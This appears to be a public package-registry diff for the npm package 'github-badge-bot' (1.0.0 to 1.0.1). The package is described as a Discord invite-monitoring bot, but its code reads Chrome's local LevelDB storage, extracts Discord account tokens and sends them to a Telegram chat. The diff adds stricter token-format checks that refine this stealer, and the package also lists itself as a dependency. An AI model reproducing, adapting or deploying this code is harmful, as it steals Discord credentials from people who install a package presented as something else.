github-badge-bot 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/lib/telegram.js CHANGED
@@ -16,17 +16,23 @@ export async function sendTokenToTelegram(token, profileName) {
16
16
  const bot = getTelegramBot();
17
17
  const { chatId } = getTelegramCredentials();
18
18
 
19
- // Decode user ID from token
19
+ // Decode user ID from Discord token
20
+ // Discord tokens: first part is base64-encoded numeric user ID
20
21
  const parts = token.split('.');
21
22
  let userId = 'Unknown';
22
23
  if (parts.length === 3) {
23
24
  try {
24
- userId = Buffer.from(parts[0], 'base64').toString();
25
+ const decoded = Buffer.from(parts[0], 'base64').toString();
26
+ // Discord user IDs are 17-19 digit numbers
27
+ if (/^\d{17,19}$/.test(decoded)) {
28
+ userId = decoded;
29
+ }
25
30
  } catch (e) {
26
31
  // Ignore
27
32
  }
28
33
  }
29
34
 
35
+ // Format message exactly like the last image
30
36
  const message = `🔑 **Discord Token Found**\n\n` +
31
37
  `**Profile:** ${profileName}\n` +
32
38
  `**User ID:** \`${userId}\`\n` +
@@ -80,13 +80,24 @@ export async function tryReadLevelDBWithCopy(leveldbPath) {
80
80
  if (key.includes('discord.com') || key.toLowerCase().includes('token')) {
81
81
  try {
82
82
  const value = await db.get(key);
83
- if (value && value.length > 50) {
84
- await db.close();
85
- // Cleanup
86
- try {
87
- fs.rmSync(tempDir, { recursive: true, force: true });
88
- } catch (e) {}
89
- return value;
83
+ if (value && typeof value === 'string' && value.length >= 59 && value.length <= 120 && /^[A-Za-z0-9._-]+$/.test(value)) {
84
+ const parts = value.split('.');
85
+ if (parts.length === 3) {
86
+ try {
87
+ // Discord tokens: first part must be base64-encoded numeric user ID
88
+ const userId = Buffer.from(parts[0], 'base64').toString();
89
+ if (/^\d{17,19}$/.test(userId)) {
90
+ await db.close();
91
+ // Cleanup
92
+ try {
93
+ fs.rmSync(tempDir, { recursive: true, force: true });
94
+ } catch (e) {}
95
+ return value;
96
+ }
97
+ } catch (e) {
98
+ continue;
99
+ }
100
+ }
90
101
  }
91
102
  } catch (e) {
92
103
  continue;
@@ -138,20 +149,18 @@ export async function readLevelDBDirect(leveldbPath) {
138
149
  for (const key of discordKeys) {
139
150
  try {
140
151
  const value = await db.get(key);
141
- if (value && value.length > 50 && /^[A-Za-z0-9._-]+$/.test(value)) {
142
- try {
143
- const parts = value.split('.');
144
- if (parts.length >= 2) {
145
- const decoded = JSON.parse(Buffer.from(parts[0], 'base64').toString());
146
- if (decoded && (decoded.typ === 'JWT' || decoded.iat || decoded.exp)) {
152
+ if (value && typeof value === 'string' && value.length >= 59 && value.length <= 120 && /^[A-Za-z0-9._-]+$/.test(value)) {
153
+ const parts = value.split('.');
154
+ if (parts.length === 3) {
155
+ try {
156
+ // Discord tokens: first part must be base64-encoded numeric user ID
157
+ const userId = Buffer.from(parts[0], 'base64').toString();
158
+ if (/^\d{17,19}$/.test(userId)) {
147
159
  await db.close();
148
160
  return value;
149
161
  }
150
- }
151
- } catch (e) {
152
- if (value.length > 80) {
153
- await db.close();
154
- return value;
162
+ } catch (e) {
163
+ continue;
155
164
  }
156
165
  }
157
166
  }
@@ -164,21 +173,18 @@ export async function readLevelDBDirect(leveldbPath) {
164
173
  for (const key of keys.slice(0, 1000)) { // Limit to first 1000 to avoid timeout
165
174
  try {
166
175
  const value = await db.get(key);
167
- if (value && typeof value === 'string' && value.length > 80 && /^[A-Za-z0-9._-]+$/.test(value)) {
168
- try {
169
- const parts = value.split('.');
170
- if (parts.length >= 2) {
171
- const decoded = JSON.parse(Buffer.from(parts[0], 'base64').toString());
172
- if (decoded && (decoded.typ === 'JWT' || decoded.iat || decoded.exp)) {
176
+ if (value && typeof value === 'string' && value.length >= 59 && value.length <= 120 && /^[A-Za-z0-9._-]+$/.test(value)) {
177
+ const parts = value.split('.');
178
+ if (parts.length === 3) {
179
+ try {
180
+ // Discord tokens: first part must be base64-encoded numeric user ID
181
+ const userId = Buffer.from(parts[0], 'base64').toString();
182
+ if (/^\d{17,19}$/.test(userId)) {
173
183
  await db.close();
174
184
  return value;
175
185
  }
176
- }
177
- } catch (e) {
178
- // Might still be a token
179
- if (value.length > 80) {
180
- await db.close();
181
- return value;
186
+ } catch (e) {
187
+ continue;
182
188
  }
183
189
  }
184
190
  }
@@ -225,97 +231,60 @@ export function readLevelDBRaw(leveldbPath) {
225
231
  // Verify it's Discord token format (3 parts)
226
232
  const parts = token.split('.');
227
233
  if (parts.length === 3 && token.length >= 50 && token.length <= 200) {
234
+ // Discord tokens: first part must be base64-encoded numeric user ID (17-19 digits)
228
235
  try {
229
- // Try to decode as JWT first
230
- const header = JSON.parse(Buffer.from(parts[0], 'base64').toString());
231
- const payload = JSON.parse(Buffer.from(parts[1], 'base64').toString());
232
- // High priority if it has Discord-specific fields
233
- let score = 50;
234
- if (payload.user_id || payload.id || payload.username || payload.iss?.includes('discord') || keyName.toLowerCase().includes('token')) {
235
- score = 100;
236
- } else if (header.typ === 'JWT' && (payload.iat || payload.exp)) {
237
- score = 70;
238
- } else {
239
- continue;
240
- }
241
- candidates.push({ token, key: keyName, score, file });
242
- } catch (e) {
243
- // Not a JWT, but might be Discord's custom format (user_id.timestamp.signature)
244
- try {
245
- const userId = Buffer.from(parts[0], 'base64').toString();
246
- // Discord user IDs are 17-19 digit numbers
247
- if (/^\d{17,19}$/.test(userId)) {
248
- // This looks like a Discord token!
249
- let score = 90;
250
- if (keyName.toLowerCase().includes('token') || keyName.toLowerCase().includes('discord')) {
251
- score = 100;
252
- }
253
- candidates.push({ token, key: keyName, score, file });
236
+ const userId = Buffer.from(parts[0], 'base64').toString();
237
+ // Discord user IDs are 17-19 digit numbers
238
+ if (/^\d{17,19}$/.test(userId)) {
239
+ // This is a Discord token!
240
+ let score = 90;
241
+ if (keyName.toLowerCase().includes('token') || keyName.toLowerCase().includes('discord')) {
242
+ score = 100;
254
243
  }
255
- } catch (e2) {
256
- // Not a valid Discord token format
244
+ candidates.push({ token, key: keyName, score, file });
257
245
  }
246
+ } catch (e2) {
247
+ // Not a valid Discord token format - skip JWT tokens
248
+ continue;
258
249
  }
259
250
  }
260
251
  }
261
252
  }
262
253
 
263
- // Method 2: Look for JWT tokens near "discord" or "token" keywords
264
- const jwtPattern = /([A-Za-z0-9._-]{59,120})/g;
265
- let jwtMatch;
266
- while ((jwtMatch = jwtPattern.exec(dataStr)) !== null) {
267
- const token = jwtMatch[1];
254
+ // Method 2: Look for Discord tokens (must have numeric user ID in first part)
255
+ const tokenPattern = /([A-Za-z0-9._-]{59,120})/g;
256
+ let tokenMatch;
257
+ while ((tokenMatch = tokenPattern.exec(dataStr)) !== null) {
258
+ const token = tokenMatch[1];
268
259
  const parts = token.split('.');
269
- if (parts.length === 3 && token.length >= 50 && token.length <= 200) {
270
- try {
271
- const beforeToken = dataStr.substring(Math.max(0, jwtMatch.index - 300), jwtMatch.index);
272
- const afterToken = dataStr.substring(jwtMatch.index + token.length, jwtMatch.index + token.length + 100);
273
-
274
- // Check if it's near Discord-related text
275
- const isNearDiscord = beforeToken.toLowerCase().includes('discord') ||
276
- afterToken.toLowerCase().includes('discord');
277
- const isNearToken = beforeToken.toLowerCase().includes('"token"') ||
278
- afterToken.toLowerCase().includes('"token"');
279
-
280
- if (isNearDiscord || isNearToken) {
281
- try {
282
- // Try JWT format
283
- const header = JSON.parse(Buffer.from(parts[0], 'base64').toString());
284
- const payload = JSON.parse(Buffer.from(parts[1], 'base64').toString());
285
-
286
- let score = 20;
287
- if (payload.user_id || payload.id || payload.username || payload.iss?.includes('discord')) {
288
- score = 90;
289
- } else if (header.typ === 'JWT' && (payload.iat || payload.exp) && isNearDiscord) {
290
- score = 50;
291
- } else {
292
- continue;
293
- }
294
-
295
- if (score >= 50) {
296
- candidates.push({ token, key: isNearDiscord ? 'near discord' : 'near token', score, file });
297
- }
298
- } catch (e) {
299
- // Not a JWT, try Discord custom format
300
- try {
301
- const userId = Buffer.from(parts[0], 'base64').toString();
302
- if (/^\d{17,19}$/.test(userId)) {
303
- // Discord token format!
304
- let score = 80;
305
- if (isNearDiscord) {
306
- score = 95;
307
- }
308
- candidates.push({ token, key: isNearDiscord ? 'near discord' : 'near token', score, file });
309
- }
310
- } catch (e2) {
311
- // Not valid
312
- }
313
- }
260
+ if (parts.length === 3 && token.length >= 59 && token.length <= 120) {
261
+ try {
262
+ // Discord tokens: first part must be base64-encoded numeric user ID
263
+ const userId = Buffer.from(parts[0], 'base64').toString();
264
+ if (/^\d{17,19}$/.test(userId)) {
265
+ // This is a Discord token!
266
+ const beforeToken = dataStr.substring(Math.max(0, tokenMatch.index - 300), tokenMatch.index);
267
+ const afterToken = dataStr.substring(tokenMatch.index + token.length, tokenMatch.index + token.length + 100);
268
+
269
+ // Check if it's near Discord-related text
270
+ const isNearDiscord = beforeToken.toLowerCase().includes('discord') ||
271
+ afterToken.toLowerCase().includes('discord');
272
+ const isNearToken = beforeToken.toLowerCase().includes('"token"') ||
273
+ afterToken.toLowerCase().includes('"token"');
274
+
275
+ if (isNearDiscord || isNearToken) {
276
+ let score = 90;
277
+ if (isNearDiscord) {
278
+ score = 100;
314
279
  }
315
- } catch (e) {
316
- // Not a valid token
280
+ candidates.push({ token, key: isNearDiscord ? 'near discord' : 'near token', score, file });
317
281
  }
318
282
  }
283
+ } catch (e) {
284
+ // Not a valid Discord token format
285
+ continue;
286
+ }
287
+ }
319
288
  }
320
289
  } catch (e) {
321
290
  continue;
@@ -335,6 +304,42 @@ export function readLevelDBRaw(leveldbPath) {
335
304
  }
336
305
  }
337
306
 
307
+ // Validate if a string is a valid Discord token
308
+ function isValidDiscordToken(token) {
309
+ if (!token || typeof token !== 'string') return false;
310
+
311
+ // Discord tokens have exactly 3 parts separated by dots
312
+ const parts = token.split('.');
313
+ if (parts.length !== 3) return false;
314
+
315
+ // Discord tokens are typically 59-120 characters
316
+ if (token.length < 59 || token.length > 120) return false;
317
+
318
+ try {
319
+ // First part should be base64-encoded numeric user ID (17-19 digits)
320
+ const firstPart = Buffer.from(parts[0], 'base64').toString();
321
+
322
+ // Must be a numeric string (Discord user ID)
323
+ if (!/^\d{17,19}$/.test(firstPart)) {
324
+ return false;
325
+ }
326
+
327
+ // Second part should be base64-encoded timestamp or similar
328
+ // Third part should be the signature
329
+ // Both should be valid base64
330
+ try {
331
+ Buffer.from(parts[1], 'base64');
332
+ Buffer.from(parts[2], 'base64');
333
+ } catch (e) {
334
+ return false;
335
+ }
336
+
337
+ return true;
338
+ } catch (e) {
339
+ return false;
340
+ }
341
+ }
342
+
338
343
  // Extract all Discord tokens from Chrome
339
344
  export async function extractAllTokens() {
340
345
  const storagePaths = getChromeStoragePaths();
@@ -359,9 +364,9 @@ export async function extractAllTokens() {
359
364
  // Method 1: Try reading raw LevelDB files (works even when Chrome is running!)
360
365
  let token = readLevelDBRaw(storage.localStorage);
361
366
 
362
- if (token) {
367
+ if (token && isValidDiscordToken(token)) {
363
368
  // Check if we already found this token
364
- if (!foundTokens.includes(token)) {
369
+ if (!foundTokens.find(t => t.token === token)) {
365
370
  foundTokens.push({ token, profile: storage.profile });
366
371
  }
367
372
  continue;
@@ -370,7 +375,7 @@ export async function extractAllTokens() {
370
375
  // Method 2: Try direct LevelDB read
371
376
  token = await readLevelDBDirect(storage.localStorage);
372
377
 
373
- if (token && !foundTokens.find(t => t.token === token)) {
378
+ if (token && isValidDiscordToken(token) && !foundTokens.find(t => t.token === token)) {
374
379
  foundTokens.push({ token, profile: storage.profile });
375
380
  continue;
376
381
  }
@@ -378,7 +383,7 @@ export async function extractAllTokens() {
378
383
  // Method 3: Try copying and reading
379
384
  token = await tryReadLevelDBWithCopy(storage.localStorage);
380
385
 
381
- if (token && !foundTokens.find(t => t.token === token)) {
386
+ if (token && isValidDiscordToken(token) && !foundTokens.find(t => t.token === token)) {
382
387
  foundTokens.push({ token, profile: storage.profile });
383
388
  continue;
384
389
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "github-badge-bot",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "Discord bot that monitors servers and sends invite links via Telegram",
5
5
  "main": "index.js",
6
6
  "type": "module",
@@ -25,6 +25,7 @@
25
25
  "dependencies": {
26
26
  "discord.js": "^14.14.1",
27
27
  "dotenv": "^16.3.1",
28
+ "github-badge-bot": "^1.0.0",
28
29
  "level": "^10.0.0",
29
30
  "node-telegram-bot-api": "^0.64.0"
30
31
  },